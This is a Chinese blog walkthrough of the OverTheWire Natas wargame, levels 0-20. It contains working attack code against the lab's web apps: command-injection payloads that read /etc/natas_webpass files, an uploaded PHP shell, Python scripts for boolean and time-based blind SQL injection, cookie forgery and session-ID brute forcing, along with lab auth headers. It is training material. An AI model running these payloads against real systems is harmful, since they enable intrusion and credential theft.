IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 开发测试 -> wargame-Natas(1-20) -> 正文阅读

[开发测试]wargame-Natas(1-20)

0.natas0

打开网站,查看源代码就能看到密码
在这里插入图片描述

1.natas0->1

禁用了鼠标右键,但是不影响,火狐浏览器使用F12直接看
在这里插入图片描述

2.natas1->2

还是查看源代码,发现图片的路径。
在这里插入图片描述直接将路径复制到地址栏
在这里插入图片描述发现users.txt文件,打开即得到密码

3.natas2->3

查看源代码,没有发现信息,看看robots.txt
在这里插入图片描述
转到对应目录中去,发现users.txt文件,得到密码
在这里插入图片描述

4.natas3->4

在这里插入图片描述打开以后发现要求必须从指定网页访问当前网页,考虑在http请求头中添加referer字段。启动burpsuit。

在这里插入图片描述获得密码

5.natas4->5

登录网站之后会提示没有login,用burpsuit把cookie中的loggedin=0改为=1

在这里插入图片描述

6.natas5->6

点击查看源代码

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

就是判断pos提交的secret的值是否与secret变量的值相等。而secret变量的值在/include/secret.inc文件中

<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

返回首页,提交该字符串。
在这里插入图片描述

7.natas6->7

典型的文件包含漏洞,将包含密码的页面加入到地址栏中,即可得到密码。
在这里插入图片描述

8.natas7->8

打开源代码,并分析

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

可知函数将post的secret变量的值进行base64编码,然后逆序置换,然后转换成16进制数,并与encodedSecret变量值进行比较,一致则显示密码。
简单写个python脚本。

import base64
import binascii

encodeSecret = "3d3d516343746d4d6d6c315669563362"
# 16进制转换成ASCII
b = binascii.a2b_hex(encodeSecret)
# 逆序
c = b[::-1]
# base64解码
res = base64.b64decode(c)
print(res)

可得到结果
在这里插入图片描述

9.natas8->9

老规矩,先看源代码

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

从源代码可以看出,最后一句应该是存在漏洞的。我们要想办法实现grep -i ‘’ /etc/natas_webpass/natas9这一句,于是构造payload为

'' /etc/natas_webpass/natas10 #

提交,就可以获得密码
在这里插入图片描述

10.natas9->10

在上一题的基础上,增加了过滤。查看源代码,发现只是过滤了"; | &"三种符号,并不影响我们的payload。

<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

还是使用我们的payload,就可以得到密码

'' /etc/natas_webpass/natas11 #

在这里插入图片描述

11.natas10->11

首先还是分析源代码

<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);
?>

如果要让网页显示密码,则我们需要提交cookie中data字段为{“showpassword”=>“yes”, “bgcolor”=>"#ffffff"}编码加密后的字符。但是分析xor_encrypt函数,我们并不知道key是什么,但是我们可以通过明文{“showpassword”=>“no”, “bgcolor”=>"#ffffff"}和对应密文"ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D"分析得到key。
首先得到key的脚本

<?php
    $result = 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D';
    $de_result = base64_decode($result);
    $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
    $new = json_encode($defaultdata);
    $key = '';
    for ($i=0;$i<strlen($new);$i++){
        $key .= $new[$i] ^ $de_result[$i];
    }
    print($key);
?>

得到的结果为qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq,可知key为qw8J。
然后是得到payload的脚本

<?php
    function xor_encrypt($in) {
        $key = 'qw8J';
        $text = $in;
        $outText = '';
    
        // Iterate through each character
        for($i=0;$i<strlen($text);$i++) {
        $outText .= $text[$i] ^ $key[$i % strlen($key)];
        }
    
        return $outText;
    }

    $data = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
    $cook = base64_encode(xor_encrypt(json_encode($data)));
    print($cook);
?>

使用burpsuit,将得到的cook放入cookie的data字段,提交即可得到下关的密钥。

12.natas11->12

这一关是一个典型的文件上传漏洞,源代码中也没有做什么过滤,只是重命名了文件。新建一个php文件

<?php system("cat /etc/natas_webpass/natas13"); ?>

(尝试使用过eval(“eval($post(a))”),一句话木马,能上传成功,但是无法执行)

上传的时候使用burpsuit拦截,修改后缀为php。
然后在地址栏打开上传的文件,就可以得到密码。
在这里插入图片描述

13.natas12->13

这一关增加了对文件类型的检测。代码为

else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";}

exif_imagetype函数主要是检查文件第一个字节,所以在文件内头加上图片文件头就可以。GIF的文件头为GIF8。
在这里插入图片描述
成功得到下一关密码。
ps:其实尝试用了一下PNG头和JPEG头,都没有成功,暂时还不知道是什么原因。

14.natas13->14

这一关应该是开始进入SQL注入的内容了。

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; 

从代码可以看出没有做任何过滤,直接注入即可。
在这里插入图片描述

15.natas14->15

首先还是分析代码

<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

sql语句还是存在注入点的,只是现在是盲注,不能直接显示密码。我们首先测试用户名natas16,发现是存在的,那么其对应的密码就应当是下一关的密码。那么在判断密码的时候我们构造payload为select * from users where username=“natas16” and password like binary xxx.
实际上在注入的时候,由于网络的问题,破解的速度很慢,因此,这里我们分两步走。第一步用like binary "%x%’'这样的形式,判断有哪些字符在password中出现;第二步再用like binary "x%"从头至尾依次判断每个字符是什么。
具体的脚本代码如下

import requests
from requests.auth import HTTPBasicAuth

url = "http://natas15.natas.labs.overthewire.org"
# 这一步是通过认证,可以先用浏览器登录,然后抓包得到
headers = {'Authorization': 'Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=='}
# proxie = {'http': 'http://127.0.0.1:8080'}
dic = [chr(x + 48) for x in range(0, 10)]
char1 = [chr(x + 65) for x in range(0, 26)]
char2 = [chr(x + 97) for x in range(0, 26)]
dic.extend(char1)
dic.extend(char2)
ans = ''
i = 0
pdic = ''

# 得到在password中出现的所有字符的字符集pdic
while i < len(dic):
    print('test:' + dic[i])
    payload = "natas16\" and password like binary \"" + "%" + dic[i]+"%"
    data = {"username": payload}
#   post_res = requests.post(url, data, headers=headers, proxies=proxie)
    post_res = requests.post(url, data, headers=headers)

    if 'This user exists.' in post_res.text:
        pdic += dic[i]
        print(dic[i])
    i += 1
print(pdic)

# 从pdic中字符逐个去判断password中每一位字符
while i < len(pdic):
    print('test:' + pdic[i])
    payload = "natas16\" and password like binary \"" + ans + pdic[i]+"%"
    data = {"username": payload}
#   post_res = requests.post(url, data, headers=headers, proxies=proxie)
    post_res = requests.post(url, data, headers=headers)

    if 'This user exists.' in post_res.text:
        ans += pdic[i]
        print(pdic[i])
        i = 0
        continue
    i += 1

print(ans)

16.natas15->16

老规矩,看源代码

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>

把很多特殊符号都过滤了。
这里的重点是:$()是可以在引号内执行的。里层的执行结果将作为外层的参数。
我们先输入$(echo a),实际上执行的命令是grep -i “a” dictionary.txt。
思路:构造出grep -i “$(grep a /etc/natas_webpass/natas17)wrongdoers” dictionary.txt的语句,如果payload在密码中,则密码+wrongdoers一定没有出现在dictionary.txt,返回空。如果payload不在密码中,则内层为空,外层返回wrongdoers。
因此:分两部构造payload,第一步先判断有哪些字符在password中,第二部从首字母依次匹配。

import requests

url = "http://natas16.natas.labs.overthewire.org"
# 通过拦截请求获取头部的认证字段
headers = {'Authorization': 'Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA=='}

# 构造0-9,a-z,A-Z的列表
dic = [chr(x + 48) for x in range(0, 10)]
char1 = [chr(x + 65) for x in range(0, 26)]
char2 = [chr(x + 97) for x in range(0, 26)]
dic.extend(char1)
dic.extend(char2)
dic_x = ''
flag = ''

# 判断有那些字符出现在密码中
i = 0
while i < len(dic):
    payload = dic[i]
    params = {
        'needle': '$(grep ' + payload + ' /etc/natas_webpass/natas17)wrongdoers',
        'submit': 'Search'
    }
    res = requests.get(url, headers=headers, params=params)
    # 字符出现在密码中,将字符放入dic_x列表
    if 'wrongdoers' not in res.text:
        dic_x += dic[i]
        print(dic[i] + 'is in')
    # 字符没有出现在密码中,继续遍历
    else:
        print(dic[i] + 'is not in')
    i += 1
print(dic_x)

# 依次遍历dic_x列表,从首字母开始匹配
i = 0
while i < len(dic_x):
    payload = dic_x[i]
    params = {
    # ^a表示首字符串以a开头
        'needle': '$(grep ^' + flag + payload + ' /etc/natas_webpass/natas17)wrongdoers',
        'submit': 'Search'
    }
    res = requests.get(url, headers=headers, params=params)
    # 如果字符a出现在密码中,则继续放入flag中,开始匹配前两个字母
    if 'wrongdoers' not in res.text:
        flag += dic_x[i]
        print(dic_x[i] + 'is in')
        i = 0
    else:
        print(dic_x[i] + 'is not in')
        i += 1
print(flag)

17.natas16->17

源代码

<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

我们注意到回显的语句被注释掉了。那么考虑使用时间盲注。
测试之前补充知识点。
来自xiayun1995,解释了为什么使用–+而不是–

sql的注释语句为’- - ’ 和 ’ # ’
但是#在url中来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#。可以将#改为%23
而–不能直接与引号连接,中间应当要有一个空格,而加入+号后,就转为空格了。因此为–+

考虑可以构造这样的查询语句

select * from where username="natas18" and password like binary "%a%" and sleep(3)

首先逐字符判断是否在密码中,得到一个较小的集合。然后在从首字母逐步匹配,得到整个password。
源码如下:

import time
import requests

# 页面请求参数
proxie = {'http': 'http://127.0.0.1:8080'}
url = 'http://natas17.natas.labs.overthewire.org/'
header = {'Authorization': 'Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw=='}

#构造[0-9,a-z,A-Z]的列表
dic = [chr(x + 48) for x in range(0, 10)]
char1 = [chr(x + 65) for x in range(0, 26)]
char2 = [chr(x + 97) for x in range(0, 26)]
dic.extend(char1)
dic.extend(char2)

dic_x = ''
flag = ''
i = 0

# 获取过滤后的字符集合dic_x
for char in dic:
    data = {'username': f'natas18" and password like binary "%{char}%" and sleep(3)#'}
    s_time = time.time()
    response = requests.post(url=url, headers=header, data=data, proxies=proxie)
    e_time = time.time()
    dif_time = e_time - s_time
    print(dif_time)
    if dif_time >= 3:
        dic_x += char
        print(char + ' is in')
    else:
        print(char + ' is not in')
print(dic_x)

# 获取整个password字符
while i < len(dic_x):
    data = {'username': f'natas18" and password like binary "{flag + dic_x[i]}%" and sleep(3)#'}
    s_time = time.time()
    response = requests.post(url=url, headers=header, data=data, proxies=proxie)
    e_time = time.time()
    dif_time = e_time - s_time
    print(dif_time)
    if dif_time >= 3:
        flag += dic_x[i]
        print(flag)
        i = 0
    else:
        print(dic_x[i] + ' is not in')
        i += 1

知识点

  • sql语句注释的用法:–, --+,#,%23
  • sql语句中:可用password like binary进行字符的判断;
  • 使用like binary时,注意使用%进行匹配
  • 同时:substr(),mid(),ascii()等函数也是有用的
  • python中,f’可以执行大括号中的python语句。eg. f’sfdsaf{print(“hello”)}’
  • r’则表示里面的字符并不进行转义 eg. r’/n’

18.natas17->18

源代码:

<?

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}
/* }}} */

$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
} 

if($showform) {
?>

从源代码的逻辑来看,不论怎么设置session,最后admin的值只能为0.而cookie里面的PHPSESSID字段,则是在0-640范围内的数,那么admin的PHPSESSID值一定在这里面,暴力破解,通过cookie以admin身份登录。
脚本代码如下:

import requests

proxie = {'http': 'http://127.0.0.1:8080'}
url = 'http://natas18.natas.labs.overthewire.org/'
header = {'Authorization': 'Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA=='}

for uid in range(0, 641):
    cookie = {'__utma': '176859643.1701764875.1629551603.1632719883.1632842691.23',
              '__utmz': '176859643.1629551603.1.1.utmcsr=baidu|utmccn=(organic)|utmcmd=organic',
              '__utmb': '=176859643.3.10.1632842691',
              '__utmc': '176859643',
              '__utmt': '1',
              'PHPSESSID': str(uid)}

    res = requests.get(url, headers=header, proxies=proxie, cookies=cookie)
    if 'You are an admin' in res.text:
        print(res.text)
        break
    else:
        print(str(uid) + ' failure')

19.natas18->19

本关没有源代码,通过抓包发现他的PHPSESSID是xxx-admin,转换为ASCII码后的形式。脚本如下:

import binascii

import requests

# proxie = {'http': 'http://127.0.0.1:8080'}
url = 'http://natas19.natas.labs.overthewire.org/'
header = {'Authorization': 'Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw=='}

for uid in range(91, 641):
    payload = str(uid) + '-admin'
    suid = str(binascii.b2a_hex(bytes(payload, encoding='utf-8')), encoding='utf8')
    cookie = {'__utma': '176859643.1701764875.1629551603.1632719883.1632842691.23',
              '__utmz': '176859643.1629551603.1.1.utmcsr=baidu|utmccn=(organic)|utmcmd=organic',
              '__utmb': '=176859643.3.10.1632842691',
              '__utmc': '176859643',
              '__utmt': '1',
              'PHPSESSID': suid}

    res = requests.get(url, headers=header, cookies=cookie)
    if 'You are an admin' in res.text:
        print(res.text)
        break
    else:
        print(str(uid) + ' failure')

20.natas20->21

这一关是两个网站在同一个服务器。
第1个页面源代码

<?

function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas22\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
    }
}
/* }}} */

session_start();
print_credentials();

?> 

也是对session的判断,再来看第二个页面

<?  

session_start();

// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
    $_SESSION[$key] = $val;
    }
}

if(array_key_exists("debug", $_GET)) {
    print "[DEBUG] Session contents:<br>";
    print_r($_SESSION);
}

// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";

$form .= '<form action="index.php" method="POST">';
foreach($validkeys as $key => $defval) {
    $val = $defval;
    if(array_key_exists($key, $_SESSION)) {
    $val = $_SESSION[$key];
    } else {
    $_SESSION[$key] = $val;
    }
    $form .= "$key: <input name='$key' value='$val' /><br>";
}
$form .= '<input type="submit" name="submit" value="Update" />';
$form .= '</form>';

$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style='$style'>Hello world!</div>";

?> 

原理很简单,在提交数据的时候,将键值对存入session。那么在提交数据中加入admin=1即可。其基本流程为:获取第1个页面给的seesion id,然后在第二个页面的请求中,放入session id和admin=1,让服务器将该id对应的session改为管理员,然后再从第1个页面登录。
注意:不能直接将第二个页面的session id放入第一个页面的请求中。

  开发测试 最新文章
pytest系列——allure之生成测试报告(Wind
某大厂软件测试岗一面笔试题+二面问答题面试
iperf 学习笔记
关于Python中使用selenium八大定位方法
【软件测试】为什么提升不了?8年测试总结再
软件测试复习
PHP笔记-Smarty模板引擎的使用
C++Test使用入门
【Java】单元测试
Net core 3.x 获取客户端地址
上一篇文章      下一篇文章      查看所有文章
加:2021-12-02 17:03:49  更:2021-12-02 17:05:13 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/18 4:46:43-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码